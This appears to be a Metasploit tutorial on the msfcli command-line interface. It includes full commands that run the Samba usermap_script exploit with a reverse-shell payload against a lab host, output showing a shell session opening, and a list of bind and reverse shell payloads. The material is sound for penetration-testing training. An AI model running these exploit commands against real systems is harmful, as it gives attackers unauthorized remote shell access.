Msfcli Tutorial

The msfcli provides a powerful command line interface to the framework. This allows you to easily add Metasploit exploits into any scripts you may create. Note: As of 2015-06-18 msfcli has been removed. One way to obtain similar functionality through msfconsole is by using the -x option. For example, the following command sets all the options for samba/usermap_script and runs it against a target:

root@kali:~# msfconsole -x "use exploit/multi/samba/usermap_script;\
set RHOST 172.16.194.172;\
set PAYLOAD cmd/unix/reverse;\
set LHOST 172.16.194.163;\
run"

Running the msfcli help command:

root@kali:~# msfcli -h
Usage: /usr/bin/msfcli<option=value> [mode]
===========================================================

    Mode           Description
    ----           -----------
    (A)dvanced     Show available advanced options for this module
    (AC)tions      Show available actions for this auxiliary module
    (C)heck        Run the check routine of the selected module
    (E)xecute      Execute the selected module
    (H)elp         You're looking at it baby!
    (I)DS Evasion  Show available ids evasion options for this module
    (O)ptions      Show available options for this module
    (P)ayloads     Show available payloads for this module
    (S)ummary      Show information about this module
    (T)argets      Show available targets for this exploit module

Examples:
msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E
msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E

Note: when using msfcli, variables are assigned using the “equal to” operator = and that all options are case-sensitive.

root@kali:~# msfcli exploit/multi/samba/usermap_script RHOST=172.16.194.172 PAYLOAD=cmd/unix/reverse LHOST=172.16.194.163 E
[*] Please wait while we load the module tree...

                ##                          ###           ##    ##
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####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 936 exploits - 500 auxiliary - 151 post
+ -- --=[ 252 payloads - 28 encoders - 8 nops
       =[ svn r15767 updated today (2012.08.22)

RHOST => 172.16.194.172
PAYLOAD > cmd/unix/reverse
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo cSKqD83oiquo0xMr;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "cSKqD83oiquo0xMr\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.194.163:4444 -> 172.16.194.172:57682) at 2012-06-14 09:58:19 -0400

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

If you aren’t entirely sure about what options belong to a particular module, you can append the letter O to the end of the string at whichever point you are stuck.

root@kali:~# msfcli exploit/multi/samba/usermap_script O
[*] Initializing modules...

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  139              yes       The target port

To display available payloads for the current module, append the letter P to the msfcli command line string.

root@kali:~# msfcli exploit/multi/samba/usermap_script P
[*]Initializing modules...

Compatible payloads
===================

   Name                                Description
   ----                                -----------
   cmd/unix/bind_awk                   Listen for a connection and spawn a command shell via GNU AWK
   cmd/unix/bind_inetd                 Listen for a connection and spawn a command shell (persistent)
   cmd/unix/bind_lua                   Listen for a connection and spawn a command shell via Lua
   cmd/unix/bind_netcat                Listen for a connection and spawn a command shell via netcat
   cmd/unix/bind_netcat_gaping         Listen for a connection and spawn a command shell via netcat
   cmd/unix/bind_netcat_gaping_ipv6    Listen for a connection and spawn a command shell via netcat
   cmd/unix/bind_perl                  Listen for a connection and spawn a command shell via perl
   cmd/unix/bind_perl_ipv6             Listen for a connection and spawn a command shell via perl
   cmd/unix/bind_ruby                  Continually listen for a connection and spawn a command shell via Ruby
   cmd/unix/bind_ruby_ipv6             Continually listen for a connection and spawn a command shell via Ruby
   cmd/unix/bind_zsh
        Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is
        often available, please be aware it isn't usually installed by default.

   cmd/unix/generic                    Executes the supplied command
   cmd/unix/reverse                    Creates an interactive shell through two inbound connections
   cmd/unix/reverse_awk                Creates an interactive shell via GNU AWK
   cmd/unix/reverse_lua                Creates an interactive shell via Lua
   cmd/unix/reverse_netcat             Creates an interactive shell via netcat
   cmd/unix/reverse_netcat_gaping      Creates an interactive shell via netcat
   cmd/unix/reverse_openssl            Creates an interactive shell through two inbound connections
   cmd/unix/reverse_perl               Creates an interactive shell via perl
   cmd/unix/reverse_perl_ssl           Creates an interactive shell via perl, uses SSL
   cmd/unix/reverse_php_ssl            Creates an interactive shell via php, uses SSL
   cmd/unix/reverse_python             Connect back and create a command shell via Python
   cmd/unix/reverse_python_ssl         Creates an interactive shell via python, uses SSL, encodes with base64 by design.
   cmd/unix/reverse_ruby               Connect back and create a command shell via Ruby
   cmd/unix/reverse_ruby_ssl           Connect back and create a command shell via Ruby, uses SSL
   cmd/unix/reverse_ssl_double_telnet  Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option
   cmd/unix/reverse_zsh
        Connect back and create a command shell via Zsh.  Note: Although Zsh is often
        available, please be aware it isn't usually installed by default.

• Supports the launching of exploits and auxiliary modules
• Useful for specific tasks
• Good for learning
• Convenient to use when testing or developing a new exploit
• Good tool for one-off exploitation
• Excellent if you know exactly which exploit and options you need
• Wonderful for use in scripts and basic automation

The only real drawback of msfcli is that it is not supported quite as well as msfconsole and it can only handle one shell at a time, making it rather impractical for client-side attacks. It also doesn’t support any of the advanced automation features of msfconsole.